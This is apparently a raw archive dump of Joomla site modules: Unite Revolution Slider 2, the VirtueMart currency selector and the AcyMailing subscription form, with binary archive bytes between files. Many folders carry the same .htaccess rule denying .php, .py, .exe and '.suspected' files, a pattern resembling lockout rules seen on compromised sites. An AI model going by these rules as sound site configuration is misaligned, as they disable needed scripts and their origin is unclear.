</FilesMatch>PK!�)��mod_syndicate/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_articles_latest/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��"mod_articles_latest/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_tags_similar/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_tags_similar/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_unite_revolution2/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��&mod_unite_revolution2/fields/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!��N�{{'mod_unite_revolution2/fields/slider.phpnu&1i�<?php
/**
 * @package Unite Slider for Joomla 1.7-2.5
 * @author UniteCMS.net
 * @copyright (C) 2012 Unite CMS, All Rights Reserved. 
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
**/

defined('JPATH_BASE') or die;

/**
 * Supports a modal article picker.
 *
 * @package		Joomla.Administrator
 * @subpackage	com_content
 * @since		1.6
 */
class JFormFieldSlider extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since	1.6
	 */
	protected $type = 'Slider';

	/**
	 * 
	 * include all the files needed
	 */
	protected function requireFramework(){
		
		$pathComponent = JPATH_ADMINISTRATOR."/components/com_uniterevolution2/";
		require_once $pathComponent."includes.php";
	}
	
	
	/**
	 * Method to get the field input markup.
	 *
	 * @return	string	The field input markup.
	 * @since	1.6
	 */
	protected function getInput()
	{
		$this->requireFramework();
				
		$slider = new RevSlider();
		$arrSliders = $slider->getArrSlidersShort();
		
		$selectedID = $this->value;
		if(empty($selectedID))
			$selectedID = JRequest::getCmd("sliderid");
	
		$html = "<select id='{$this->id}_id' name='{$this->name}'>";
		foreach($arrSliders as $id=>$title){
			
			$selected = "";				
			if($id == $selectedID)
				$selected = 'selected="selected"';
			
			$html .= "<option value='$id' $selected>$title</option>";
		}		
		$html .= "</select>";
		
		return $html;
	}
	
	
}
PK!ډzTi
i
/mod_unite_revolution2/mod_unite_revolution2.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension	type="module" version="1.6.0" method="upgrade" client="site" >
	<name>Unite Slider 2</name>
	<author>Unite CMS</author>
	<creationDate>October 2012</creationDate>
	<copyright>Copyright (C) 2012 UniteCMS.net, All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<authorEmail>support@unitecms.net</authorEmail>
	<authorUrl>http://unitecms.net</authorUrl>
	<version>4.7</version>
	<description><![CDATA[
			<div style="font-weight:normal;">
			<p><strong>Unite Slider (new edition)</strong> module. Put the slider on any page. All the slider configuration located in Component.</p>
			<p>
				For support please turn to <a href="http://unitecms.net/joomla-extensions/unite-revolution-slider-responsive" target="_blank">Unite Slider Page</a>
			</p>
			<small style="float:right">ver. 4.7</small>
			</div>
     ]]>
	 </description>
	
	<files>
		<folder>fields</folder>	
		<filename module="mod_unite_revolution2">mod_unite_revolution2.php</filename>
		<filename>index.html</filename>
		<filename>mod_unite_revolution2.xml</filename>
	</files>
	<config>
		<fields name="params" addfieldpath="/modules/mod_unite_revolution2/fields">
			<fieldset name="general" label="General Settings">
				 <field name="sliderid"
					type="slider"
					label="Slider"
					description="Choose a slider from the component"
				/>
				
			</fieldset>
				
			<fieldset name="advanced">
				
				<field name="include_jquery" 
					   type="radio"
					   default="true" 
					   label="Include jQuery 1.8 js" 
					   description="Add include of jquery js. If you have jquery include in other module, and you don't want to double include, choose 'No'">
						  <option value="true">Yes</option>
						  <option value="false">No</option>
				</field>				

				<field name="js_load_type" 
					   type="radio"
					   default="head" 
					   label="Include item JS in" 
					   description="The right way is to include the js to the head section, but on some cases when you have double jquery loading, you can make it work by changing into body">
						  <option value="head">Head</option>
						  <option value="body">Body</option>
				</field>
				
				<field name="no_conflict_mode" 
					   type="radio"
					   default="false" 
					   label="No Conflict Mode" 
					   description="Run jQuery.noConflict() function. If you have some other js libraries that not working good, you can try this option.">
						  <option value="true">Yes</option>
						  <option value="false">No</option>
				</field>
					
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
					
				<field
					name="cache"
					type="list"
					default="1"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC">
					<option
						value="1">JGLOBAL_USE_GLOBAL</option>
					<option
						value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field
					name="cache_time"
					type="text"
					default="900"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field
					name="cachemode"
					type="hidden"
					default="itemid">
					<option
						value="itemid"></option>
				</field>
				
			</fieldset>
			
		</fields>		
	</config>
</extension>PK!�M���/mod_unite_revolution2/mod_unite_revolution2.phpnu&1i�<?php

/**
 * @package Unite Slider Module for Joomla 1.7-2.5
 * @version 1.0
 * @author UniteCMS.net
 * @copyright (C) 2012- Unite CMS
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
**/

// no direct access
defined('_JEXEC') or die;

	//include item files
	$pathIncludes = JPATH_ADMINISTRATOR."/components/com_uniterevolution2/includes.php";
	require_once $pathIncludes;
		
	//set active menu link
	$urlBase = JURI::base();
	
	$sliderID = $params->get("sliderid");
		
	$document = JFactory::getDocument();
	
	$include_jquery = $params->get("include_jquery","true");
	
	if($include_jquery == "true"){
		
		$isJoomla3 = UniteFunctionJoomlaRev::isJoomla3();
				
		if($isJoomla3 == false){	//load jquery in old way
			if(UniteFunctionJoomlaRev::isJqueryIncluded() == false){
				$jsPrefix = "http";
				if(JURI::getInstance()->isSSL() == true)
					$jsPrefix = "https";
			
				$document->addScript("{$jsPrefix}://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js?app=revolution_slider");
			}
		}else{
			JHtml::_('jquery.framework');
		}
		
		
	}
	
	$loadType = $params->get("js_load_type","head");
	$isJSInBody = ($loadType == "body")?true:false;
	$noConflictMode = ($params->get("no_conflict_mode") == "true")?true:false;
	
	//css includes
	$document->addStyleSheet(GlobalsRevSlider::$url_item_plugin."css/settings.css");
	
	if(file_exists(GlobalsRevSlider::$filepath_dynamic_captions) == true)
		$document->addStyleSheet(GlobalsRevSlider::$urlDynamicCaptionsCSS);
	else
		$document->addStyleSheet(GlobalsRevSlider::$urlCaptionsCSS);
		
	//add inline styles
	/*
	$db = new UniteDBRev();
	$styles = $db->fetch(GlobalsRevSlider::$table_css);
	$styles = UniteCssParserRev::parseDbArrayToCss($styles, "\n");
	$document->addStyleDeclaration( $styles );
	*/
	
	//dmp($styles);exit();
		
		
	$document->addStyleSheet(GlobalsRevSlider::$urlStaticCaptionsCSS);
	
	//include js:
	if($isJSInBody == false){
		$document->addScript(GlobalsRevSlider::$url_item_plugin."js/jquery.themepunch.tools.min.js");
		$document->addScript(GlobalsRevSlider::$url_item_plugin."js/jquery.themepunch.revolution.min.js");
	}
	
	
	$output = new RevSliderOutput();
	$output->jsToBody = $isJSInBody;
	$output->noConflictMode = $noConflictMode;

	$output->putSliderBase($sliderID);
	
?>	PK! mod_unite_revolution2/index.htmlnu&1i�PK!�)��	.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_footer/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�)��mod_footer/tmpl/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�$����+mod_virtuemart_currencies/tmpl/jssubmit.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access');
vmJsApi::jQuery();
vmJsApi::chosenDropDowns();
?>

<!-- Currency Selector Module -->
<?php echo $text_before ?>

<form action="<?php echo vmURI::getCurrentUrlBy('get',true) ?>" method="post">

	<?php echo JHTML::_('select.genericlist', $currencies, 'virtuemart_currency_id', 'class="inputbox vm-chzn-select changeSendForm"', 'virtuemart_currency_id', 'currency_txt', $virtuemart_currency_id) ; ?>
</form>

<?php 
$j = 'jQuery(document).ready(function() {

jQuery(".changeSendForm")
	.off("change",Virtuemart.sendCurrForm)
    .on("change",Virtuemart.sendCurrForm);
})';

vmJsApi::addJScript('sendFormChange',$j);

echo vmJsApi::writeJS();PK!��xgg*mod_virtuemart_currencies/tmpl/default.phpnu&1i�<?php // no direct access
defined('_JEXEC') or die('Restricted access');
vmJsApi::jQuery();
vmJsApi::chosenDropDowns();
?>

<!-- Currency Selector Module -->
<?php echo $text_before ?>

<form action="<?php echo vmURI::getCurrentUrlBy('get',true) ?>" method="post">

	<br />
    <input class="button" type="submit" name="submit" value="<?php echo vmText::_('MOD_VIRTUEMART_CURRENCIES_CHANGE_CURRENCIES') ?>" />
	<br />
	<?php echo JHTML::_('select.genericlist', $currencies, 'virtuemart_currency_id', 'class="inputbox vm-chzn-select"', 'virtuemart_currency_id', 'currency_txt', $virtuemart_currency_id) ; ?>
</form>
PK!��7�ccPmod_virtuemart_currencies/language/en-GB/en-GB.mod_virtuemart_currencies.sys.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_CURRENCIES="VirtueMart Currency Selector"
MOD_VIRTUEMART_CURRENCIES_DESC="Allows the shopper to change the currency prices"PK!	ppLmod_virtuemart_currencies/language/en-GB/en-GB.mod_virtuemart_currencies.ininu&1i�; Virtuemart! Project
; Copyright (C)  2011 Virtuemart Team. All rights reserved.
; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
; Note : All ini files need to be saved as UTF-8 - No BOM

MOD_VIRTUEMART_CURRENCIES="VirtueMart Currency Selector"
MOD_VIRTUEMART_CURRENCIES_BUTTON_TXT="Button Name"
MOD_VIRTUEMART_CURRENCIES_BUTTON_TXT_DESC="Text to display on the button.<br />Leave it EMPTY for auto label it by user language settings"
MOD_VIRTUEMART_CURRENCIES_CHANGE_CURRENCIES="Change Currency"
MOD_VIRTUEMART_CURRENCIES_DESC="This module is used to convert the price depending on the currency selected in your VirtueMart shop.<br/>(VirtueMart 2+ compatible)"
MOD_VIRTUEMART_CURRENCIES_DISPLAY="Currencies to display"
MOD_VIRTUEMART_CURRENCIES_DISPLAY_DESC="The selected currencies are shown in the module so the customer can select one of those currencies. <br />If none are selected, currencies displayed are the vendor accepted currencies."
MOD_VIRTUEMART_CURRENCIES_PRE_TEXT="Pre-text"
MOD_VIRTUEMART_CURRENCIES_PRE_TEXT_DESC="This is the Text or HTML that is displayed at the beginning of the Module"PK!��L��	�	7mod_virtuemart_currencies/mod_virtuemart_currencies.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5.0">
  <name>mod_virtuemart_currencies</name>
  <creationDate>November 06 2020</creationDate>
  <author>The VirtueMart Development Team</author>
  <authorUrl>https://virtuemart.net</authorUrl>
  <copyright>Copyright (C) 2004 - 2020 Virtuemart Team. All rights reserved.</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <version>3.8.6</version>
  <description>MOD_VIRTUEMART_CURRENCIES_DESC</description>
  <files>
    <filename module="mod_virtuemart_currencies">mod_virtuemart_currencies.php</filename>
    <filename>tmpl/default.php</filename>
    <folder>language</folder>
  </files>
  <config>
    <fields name="params">
      <fieldset name="basic">
        <field
          name="text_before"
          type="textarea"
          cols="40"
          rows="3"
          default=""
          label="MOD_VIRTUEMART_CURRENCIES_PRE_TEXT"
          description="MOD_VIRTUEMART_CURRENCIES_PRE_TEXT_DESC"
        />
        <field
          name="product_currency"
          type="text"
          default=""
          label="MOD_VIRTUEMART_CURRENCIES_DISPLAY"
          description="MOD_VIRTUEMART_CURRENCIES_DISPLAY_DESC"
        />
      </fieldset>
      <fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
        />
        <field
          name="cache"
          type="radio"
          default="0"
          label="Enable Cache"
          description="Select whether to cache the content of this module"
          >
          <option value="0">No</option>
          <option value="1">Yes</option>
        </field>
        <field
          name="moduleclass_sfx"
          type="text"
          default=""
          label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
          description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
        />
        <field
          name="class_sfx"
          type="text"
          default=""
          label="Menu Class Suffix"
          description="A suffix to be applied to the css class of the menu items"
        />
      </fieldset>
    </fields>
  </config>
  <updateservers>
      <!-- Note: No spaces or linebreaks allowed between the server tags -->
      <server type="extension" name="VirtueMart3 mod_virtuemart_currencies Update Site"><![CDATA[http://virtuemart.net/releases/vm3/mod_virtuemart_currencies_update.xml]]></server>
  </updateservers>
</extension>PK!��b���7mod_virtuemart_currencies/mod_virtuemart_currencies.phpnu&1i�<?php
defined('_JEXEC') or  die( 'Direct Access to '.basename(__FILE__).' is not allowed.' );
/**
* Currency Selector Module
*
* NOTE: THIS MODULE REQUIRES THE VIRTUEMART COMPONENT!
/*
* @version $Id: mod_virtuemart_currencies.php 9881 2018-06-20 09:03:58Z Milbo $
* @package VirtueMart
* @subpackage modules
*
* @copyright (C) 2014 virtuemart team - All rights reserved.
* @license http://www.gnu.org/copyleft/gpl2.html GNU/GPL
* VirtueMart is Free Software.
* VirtueMart comes with absolute no warranty.
*
* @link https://virtuemart.net
*/


/***********
 *
 * Prices in the orders are saved in the shop currency; these fields are required
 * to show the prices to the user in a later stadium.
  */

if (!class_exists( 'VmConfig' )) require(JPATH_ROOT .'/administrator/components/com_virtuemart/helpers/config.php');

VmConfig::loadConfig();
vmLanguage::loadModJLang('mod_virtuemart_currencies');
vmJsApi::jQuery();

vmLanguage::loadJLang( 'com_virtuemart', true );
vmJsApi::jSite();
vmJsApi::addJScript( 'vmprices',false,false);

$mainframe = JFactory::getApplication();
$vendorId = vRequest::getInt('vendorid', 1);
$text_before = $params->get( 'text_before', '');

/* load the template */
$currencyModel = VmModel::getModel('currency');

$currencies = $currencyModel->getVendorAcceptedCurrrenciesList($vendorId);

$currencyDisplay = CurrencyDisplay::getInstance();

$virtuemart_currency_id = $mainframe->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',vRequest::getInt('virtuemart_currency_id',$currencyDisplay->_vendorCurrency) );

require JModuleHelper::getLayoutPath('mod_virtuemart_currencies', $params->get('layout', 'default'));

PK!mod_acym/index.htmlnu&1i�PK!��s��mod_acym/tmpl/tableless.phpnu&1i�<?php

use AcyMailing\Helpers\CaptchaHelper;

$listsContent = '';
if (!empty($visibleLists)) {
    $listsContent .= '<div class="acym_lists">';
    foreach ($visibleLists as $myListId) {
        $check = '';
        if (in_array($myListId, $checkedLists)) {
            $check = 'checked="checked"';
        }

        $listsContent .= '
            <div class="onelist">
            	<input type="checkbox" class="acym_checkbox" name="subscription[]" id="acylist_'.$myListId.'_'.$formName.'" '.$check.' value="'.$myListId.'"/>
                <label for="acylist_'.$myListId.'_'.$formName.'">'.$allLists[$myListId]->name.'</label>
            </div>';
    }
    $listsContent .= '</div>';
}
if ($listPosition == 'before') echo $listsContent;
?>

<div class="acym_form">
    <?php
    foreach ($fields as $field) {
        $fieldDB = empty($field->option->fieldDB) ? '' : json_decode($field->option->fieldDB);
        $field->value = empty($field->value) ? '' : json_decode($field->value);
        $field->option = json_decode($field->option);
        $valuesArray = [];
        if (!empty($field->value)) {
            foreach ($field->value as $value) {
                $valueTmp = new stdClass();
                $valueTmp->text = $value->title;
                $valueTmp->value = $value->value;
                if ($value->disabled == 'y') $valueTmp->disable = true;
                $valuesArray[$value->value] = $valueTmp;
            }
        }
        if (!empty($fieldDB) && !empty($fieldDB->value)) {
            $fromDB = $fieldClass->getValueFromDB($fieldDB);
            foreach ($fromDB as $value) {
                $valuesArray[$value->value] = $value->title;
            }
        }
        $size = empty($field->option->size) ? '' : 'width:'.$field->option->size.'px';
        echo '<div class="onefield fieldacy'.$field->id.' acyfield_'.$field->type.'" id="field_'.$field->id.'">';
        echo $fieldClass->displayField($field, $field->default_value, $size, $valuesArray, $displayOutside, true, $identifiedUser);
        echo '</div>';
    }

    if ($listPosition != 'before') echo $listsContent;

    if (empty($identifiedUser->id) && $config->get('captcha', '') == 1) {
        echo '<div class="onefield fieldacycaptcha" id="field_captcha_'.$formName.'">';
        $captcha = new CaptchaHelper();
        echo $captcha->display($formName, $params->get('includejs') == 'module');
        echo '</div>';
    }

    if (!empty($termslink)) {
        echo '<div class="onefield fieldacyterms" id="field_terms_'.$formName.'">';
        echo '<label for="mailingdata_terms_'.$formName.'">';
        echo '<input id="mailingdata_terms_'.$formName.'" class="checkbox" type="checkbox" name="terms" title="'.acym_translation('ACYM_TERMS_CONDITIONS').'"/> '.$termslink;
        echo '</label>';
        echo '</div>';
    }
    ?>
</div>

<p class="acysubbuttons">
<noscript>
	<div class="onefield fieldacycaptcha">
        <?php echo acym_translation('ACYM_NO_JAVASCRIPT'); ?>
	</div>
</noscript>
<input type="button" class="btn btn-primary button subbutton" value="<?php echo acym_translation($subscribeText, true); ?>" name="Submit" onclick="try{ return submitAcymForm('subscribe','<?php echo $formName; ?>', 'acymSubmitSubForm'); }catch(err){alert('The form could not be submitted '+err);return false;}" />
<?php if ($params->get('unsub', '0') == '1' && !empty($countUnsub)) { ?>
	<span style="display: none;"></span>
	<input type="button" class="btn button unsubbutton" value="<?php echo acym_translation($unsubscribeText, true); ?>" name="Submit" onclick="try{ return submitAcymForm('unsubscribe','<?php echo $formName; ?>', 'acymSubmitSubForm'); }catch(err){alert('The form could not be submitted '+err);return false;}" />
<?php } ?>
</p>

PK!�#o,,mod_acym/tmpl/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�"
N��mod_acym/tmpl/default.phpnu&1i�<?php

use AcyMailing\Helpers\CaptchaHelper;

$listsContent = '';
if (!empty($visibleLists)) {
    $listsContent .= '<table class="acym_lists">';
    foreach ($visibleLists as $myListId) {
        $check = '';
        if (in_array($myListId, $checkedLists)) {
            $check = 'checked="checked"';
        }

        $listsContent .= '
                <tr>
                    <td>
                    	<input type="checkbox" class="acym_checkbox" name="subscription[]" id="acylist_'.$myListId.'_'.$formName.'" '.$check.' value="'.$myListId.'"/>
                        <label for="acylist_'.$myListId.'_'.$formName.'">'.$allLists[$myListId]->name.'</label>
                    </td>
                </tr>';
    }
    $listsContent .= '</table>';
}
if ($listPosition == 'before') echo $listsContent;
?>

<table class="acym_form">
	<tr>
        <?php
        foreach ($fields as $field) {
            $fieldDB = empty($field->option->fieldDB) ? '' : json_decode($field->option->fieldDB);
            $field->value = empty($field->value) ? '' : json_decode($field->value);
            $field->option = json_decode($field->option);
            $valuesArray = [];
            if (!empty($field->value)) {
                foreach ($field->value as $value) {
                    $valueTmp = new stdClass();
                    $valueTmp->text = $value->title;
                    $valueTmp->value = $value->value;
                    if ($value->disabled == 'y') $valueTmp->disable = true;
                    $valuesArray[$value->value] = $valueTmp;
                }
            }
            if (!empty($fieldDB) && !empty($fieldDB->value)) {
                $fromDB = $fieldClass->getValueFromDB($fieldDB);
                foreach ($fromDB as $value) {
                    $valuesArray[$value->value] = $value->title;
                }
            }
            $size = empty($field->option->size) ? '' : 'width:'.$field->option->size.'px';
            echo '<td class="acyfield_'.$field->id.' acyfield_'.$field->type.'">';
            echo $fieldClass->displayField($field, $field->default_value, $size, $valuesArray, $displayOutside, true, $identifiedUser);
            echo '</td>';
            if (!$displayInline) echo '</tr><tr>';
        }

        if ($listPosition != 'before') {
            echo '<td>'.$listsContent.'</td>';
            if (!$displayInline) echo '</tr><tr>';
        }

        if (empty($identifiedUser->id) && $config->get('captcha', '') == 1) {
            echo '<td class="captchakeymodule" '.($displayOutside && !$displayInline ? 'colspan="2"' : '').'>';
            $captcha = new CaptchaHelper();
            echo $captcha->display($formName, $params->get('includejs') == 'module');
            echo '</td>';
            if (!$displayInline) echo '</tr><tr>';
        }

        if (!empty($termslink)) {
            echo '<td class="acyterms" '.($displayOutside && !$displayInline ? 'colspan="2"' : '').'>';
            echo '<input id="mailingdata_terms_'.$formName.'" class="checkbox" type="checkbox" name="terms" title="'.acym_translation('ACYM_TERMS_CONDITIONS').'"/> '.$termslink;
            echo '</td>';
            if (!$displayInline) echo '</tr><tr>';
        }
        ?>

		<td <?php if ($displayOutside && !$displayInline) echo 'colspan="2"'; ?> class="acysubbuttons">
			<noscript>
				<div class="onefield fieldacycaptcha">
                    <?php echo acym_translation('ACYM_NO_JAVASCRIPT'); ?>
				</div>
			</noscript>
			<input type="button" class="btn btn-primary button subbutton" value="<?php echo acym_translation($subscribeText, true); ?>" name="Submit" onclick="try{ return submitAcymForm('subscribe','<?php echo $formName; ?>', 'acymSubmitSubForm'); }catch(err){alert('The form could not be submitted '+err);return false;}" />
            <?php if ($params->get('unsub', '0') == '1' && !empty($countUnsub)) { ?>
				<span style="display: none;"></span>
				<input type="button" class="btn button unsubbutton" value="<?php echo acym_translation($unsubscribeText, true); ?>" name="Submit" onclick="try{ return submitAcymForm('unsubscribe','<?php echo $formName; ?>', 'acymSubmitSubForm'); }catch(err){alert('The form could not be submitted '+err);return false;}" />
            <?php } ?>
		</td>
	</tr>
</table>

PK!�8����mod_acym/mod_acym.phpnu&1i�<?php

use AcyMailing\Classes\FieldClass;
use AcyMailing\Classes\ListClass;
use AcyMailing\Classes\UserClass;

if (!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acym'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')) {
    echo 'This module cannot work without AcyMailing';

    return;
};

acym_initModule($params);

$identifiedUser = null;
$currentUserEmail = acym_currentUserEmail();
if ($params->get('userinfo', '1') == '1' && !empty($currentUserEmail)) {
    $userClass = new UserClass();
    $identifiedUser = $userClass->getOneByEmail($currentUserEmail);
}

$visibleLists = $params->get('displists', []);
$hiddenLists = $params->get('hiddenlists', []);
$fields = $params->get('fields', []);
$allfields = is_array($fields) ? $fields : explode(',', $fields);
if (!in_array('2', $allfields)) {
    $allfields[] = 2;
}
acym_arrayToInteger($visibleLists);
acym_arrayToInteger($hiddenLists);
acym_arrayToInteger($allfields);

$listClass = new ListClass();
$fieldClass = new FieldClass();

$allLists = $listClass->getAllWIthoutManagement();
$visibleLists = array_intersect($visibleLists, array_keys($allLists));
$hiddenLists = array_intersect($hiddenLists, array_keys($allLists));
$allfields = $fieldClass->getFieldsByID($allfields);
$fields = [];
foreach ($allfields as $field) {
    if ($field->active === '0') continue;
    $fields[$field->id] = $field;
}

if (empty($visibleLists) && empty($hiddenLists)) {
    $hiddenLists = array_keys($allLists);
}

if (!empty($visibleLists) && !empty($hiddenLists)) {
    $visibleLists = array_diff($visibleLists, $hiddenLists);
}

if (empty($identifiedUser->id)) {
    $checkedLists = $params->get('listschecked', []);
    if (!is_array($checkedLists)) {
        if (strtolower($checkedLists) == 'all') {
            $checkedLists = $visibleLists;
        } elseif (strpos($checkedLists, ',') || is_numeric($checkedLists)) {
            $checkedLists = explode(',', $checkedLists);
        } else {
            $checkedLists = [];
        }
    }
} else {
    $checkedLists = [];
    $userLists = $userClass->getUserSubscriptionById($identifiedUser->id);

    $countSub = 0;
    $countUnsub = 0;
    $formLists = array_merge($visibleLists, $hiddenLists);
    foreach ($formLists as $idOneList) {
        if (empty($userLists[$idOneList]) || $userLists[$idOneList]->status == 0) {
            $countSub++;
        } else {
            $countUnsub++;
            $checkedLists[] = $idOneList;
        }
    }
}
acym_arrayToInteger($checkedLists);


$config = acym_config();

$subscribeText = $params->get('subtext', 'ACYM_SUBSCRIBE');
if (!empty($identifiedUser->id)) $subscribeText = $params->get('subtextlogged', 'ACYM_SUBSCRIBE');
$unsubscribeText = $params->get('unsubtext', 'ACYM_UNSUBSCRIBE');

$listPosition = $params->get('listposition', 'before');
$displayOutside = $params->get('textmode') == '0';

$successMode = $params->get('successmode', 'replace');

$redirectURL = $params->get('redirect', '');
$unsubRedirectURL = $params->get('unsubredirect', '');
$ajax = empty($redirectURL) && empty($unsubRedirectURL) && $successMode != 'standard' ? '1' : '0';

$formClass = $params->get('formclass', '');
$alignment = $params->get('alignment', 'none');
$style = $alignment == 'none' ? '' : 'style="text-align: '.$alignment.'"';

$termsURL = acym_getArticleURL(
    $params->get('termscontent', 0),
    $params->get('articlepopup', 1),
    'ACYM_TERMS_CONDITIONS',
    acym_translation('ACYM_TERMS_CONDITIONS')
);
$privacyURL = acym_getArticleURL(
    $params->get('privacypolicy', 0),
    $params->get('articlepopup', 1),
    'ACYM_PRIVACY_POLICY',
    acym_translation('ACYM_PRIVACY_POLICY')
);

if (empty($termsURL) && empty($privacyURL)) {
    $termslink = '';
} elseif (empty($privacyURL)) {
    $termslink = acym_translation_sprintf('ACYM_I_AGREE_TERMS', $termsURL);
} elseif (empty($termsURL)) {
    $termslink = acym_translation_sprintf('ACYM_I_AGREE_PRIVACY', $privacyURL);
} else {
    $termslink = acym_translation_sprintf('ACYM_I_AGREE_BOTH', $termsURL, $privacyURL);
}


$formName = acym_getModuleFormName();
$formAction = htmlspecialchars_decode(acym_completeLink('frontusers', true, true));

$js = "window.addEventListener('DOMContentLoaded', (event) => {";
$js .= "\n"."acymModule['excludeValues".$formName."'] = [];";
$fieldsToDisplay = [];
foreach ($fields as $field) {
    $fieldsToDisplay[$field->id] = $field->name;
    $js .= "\n"."acymModule['excludeValues".$formName."']['".$field->id."'] = '".acym_translation($field->name, true)."';";
}
$js .= "  });";
echo "<script type=\"text/javascript\">
        <!--
        $js
        //-->
        </script>";
?>
	<div class="acym_module <?php echo acym_escape($formClass); ?>" id="acym_module_<?php echo $formName; ?>">
		<div class="acym_fulldiv" id="acym_fulldiv_<?php echo $formName; ?>" <?php echo $style; ?>>
			<form enctype="multipart/form-data" id="<?php echo acym_escape($formName); ?>" name="<?php echo acym_escape($formName); ?>" method="POST" action="<?php echo acym_escape($formAction); ?>" onsubmit="return submitAcymForm('subscribe','<?php echo $formName; ?>', 'acymSubmitSubForm')">
				<div class="acym_module_form">
                    <?php
                    $introText = $params->get('introtext', '');
                    if (!empty($introText)) {
                        echo '<div class="acym_introtext">'.$introText.'</div>';
                    }

                    if ($params->get('mode', 'tableless') == 'tableless') {
                        $view = 'tableless.php';
                    } else {
                        $displayInline = $params->get('mode', 'tableless') != 'vertical';
                        $view = 'default.php';
                    }

                    $app = JFactory::getApplication('site');
                    $template = $app->getTemplate();
                    if (file_exists(str_replace(DS, '/', ACYM_ROOT).'templates/'.$template.'/html/mod_acym/'.$view)) {
                        include ACYM_ROOT.'templates'.DS.$template.DS.'html'.DS.'mod_acym'.DS.$view;
                    } else {
                        include __DIR__.DS.'tmpl'.DS.$view;
                    }

                    ?>
				</div>

				<input type="hidden" name="ctrl" value="frontusers" />
				<input type="hidden" name="task" value="notask" />
				<input type="hidden" name="option" value="<?php echo acym_escape(ACYM_COMPONENT); ?>" />

                <?php
                $currentEmail = acym_currentUserEmail();
                if (!empty($currentEmail)) {
                    echo '<span style="display:none">{emailcloak=off}</span>';
                }

                if (!empty($redirectURL)) echo '<input type="hidden" name="redirect" value="'.acym_escape($redirectURL).'"/>';
                if (!empty($unsubRedirectURL)) echo '<input type="hidden" name="redirectunsub" value="'.acym_escape($unsubRedirectURL).'"/>';

                ?>

				<input type="hidden" name="ajax" value="<?php echo acym_escape($ajax); ?>" />
				<input type="hidden" name="successmode" value="<?php echo acym_escape($successMode); ?>" />
				<input type="hidden" name="acy_source" value="<?php echo acym_escape($params->get('source', 'Module n°'.$module->id)); ?>" />
				<input type="hidden" name="hiddenlists" value="<?php echo implode(',', $hiddenLists); ?>" />
				<input type="hidden" name="fields" value="<?php echo 'name,email'; ?>" />
				<input type="hidden" name="acyformname" value="<?php echo acym_escape($formName); ?>" />
				<input type="hidden" name="acysubmode" value="mod_acym" />

                <?php
                $postText = $params->get('posttext', '');
                if (!empty($postText)) {
                    echo '<div class="acym_posttext">'.$postText.'</div>';
                }
                ?>
			</form>
		</div>
	</div>
<?php

PK!�Ǘ�

